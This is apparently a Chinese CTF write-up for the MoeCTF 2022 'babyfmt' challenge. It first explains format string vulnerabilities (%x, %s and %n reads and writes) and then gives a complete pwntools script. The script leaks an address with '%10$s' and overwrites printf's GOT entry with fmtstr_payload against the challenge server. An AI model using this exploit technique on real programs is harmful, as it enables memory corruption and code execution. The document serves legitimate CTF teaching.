[MoeCTF 2022]babyfmt-入土为安的第十九天

简介: [MoeCTF 2022]babyfmt-入土为安的第十九天

入门格式化字符串   GOT劫持

借鉴

http://t.csdnimg.cn/oWxaU

格式化字符串漏洞的基本概念

格式化字符串漏洞通常发生在程序中使用了格式化输出函数(如 printfsprintffprintf 等),但没有正确控制格式化字符串。这种漏洞可以让攻击者通过精心构造的格式化字符串来影响程序的行为,读取或修改内存中的数据,甚至执行任意代码。

漏洞点

  1. 未经验证的格式化字符串输入
  • 描述:如果程序允许用户输入格式化字符串,并将这些输入直接传递给格式化函数(如 printf),攻击者可以利用这些输入来读取或写入程序的内存。
  • 例子printf(user_input);,其中 user_input 是用户提供的字符串。如果 user_input 包含格式说明符,如 %x%s 等,可能会泄露内存信息。
  1. 格式字符串中包含不受控制的格式说明符
  • 描述:格式化字符串中的格式说明符(如 %x%s%n 等)可以读取内存中的数据、打印信息或写入数据。如果格式说明符不受控制,攻击者可以利用这些格式说明符来获取程序内存中的敏感信息或修改内存。
  • 例子printf("User input: %s", user_input);,如果 user_input 包含格式说明符,可能会导致意外行为。
  1. 利用 %n 格式说明符进行内存写入
  • 描述%n 格式说明符允许将已经输出的字符数写入到指定的内存地址。攻击者可以利用这个特性来修改程序内存中的值,从而实现任意代码执行或其他恶意行为。
  • 例子printf("%n", &some_variable);,如果攻击者能控制这个格式说明符,可能会改变 some_variable 的值。
  1. 未验证的用户输入被用于格式化操作
  • 描述:程序接受来自不可信来源的格式化字符串并直接使用,未对输入进行严格验证和清理。
  • 例子fprintf(log_file, user_input);,如果 user_input 包含格式说明符,可能会导致日志文件的内容被恶意篡改。

from pwn import *
elf=ELF('./pwn')
#p=process('./pwn')
p = remote('node5.anna.nssctf.cn',24744)
print_got=elf.got['printf']
p.recvuntil("\n")
p.sendline("%10$s")
baskdoor=int(p.recv(10),16)
payload=fmtstr_payload(11,{print_got:baskdoor})
p.sendline(payload)
p.interactive()

目录
相关文章
|
5月前
|
安全
babystack2.0-入土为安的第十六天
babystack2.0-入土为安的第十六天
47 0
|
5月前
[MoeCTF 2022]ezTea-入土为安的第十九天
[MoeCTF 2022]ezTea-入土为安的第十九天
52 0
|
5月前
|
Python
[MoeCTF 2022]EquationPy-入土为安的第十九天
[MoeCTF 2022]EquationPy-入土为安的第十九天
53 0
|
5月前
signin-入土为安的第十九天
signin-入土为安的第十九天
55 0
|
5月前
|
数据安全/隐私保护 数据格式 Python
不服来试试,Excel中被吹上天的Ctrl+E,到底有多厉害?
不服来试试,Excel中被吹上天的Ctrl+E,到底有多厉害?
45 1
|
8月前
|
缓存 网络协议 安全
你以为键入网址后只是等待吗?惊!原来网页显示背后隐藏着这些奇妙步骤(终章)
这篇文章简要介绍了计算机网络中交换机和路由器的工作原理,以及它们在网络通信和连接中的重要作用。交换机利用MAC地址表实现数据包的转发,而路由器则根据IP地址进行转发决策,将数据包从一个网络转发到另一个网络。通过交换机和路由器的协同工作,网络实现了高效的数据传输和通信。
|
NoSQL Android开发
Keil 死了,我们还能活吗?第二季
Keil 死了,我们还能活吗?第二季
|
前端开发
开心档之 boostrap 按钮 2
Bootstrap4 按钮,Bootstrap 4 提供了不同样式的按钮。
|
存储 机器学习/深度学习 算法
大逆不道,从天界偷下来的算法修仙秘籍竟然传到你手上~~(结尾有彩蛋)
这有可能是你见过最离谱的标题 这有可能是你没见过的技术文章模式 我不知道我的选择是否正确,但是我的想法就是: 不再让技术冷冰冰,让所有人学习中获得快乐!
278 1

热门文章

最新文章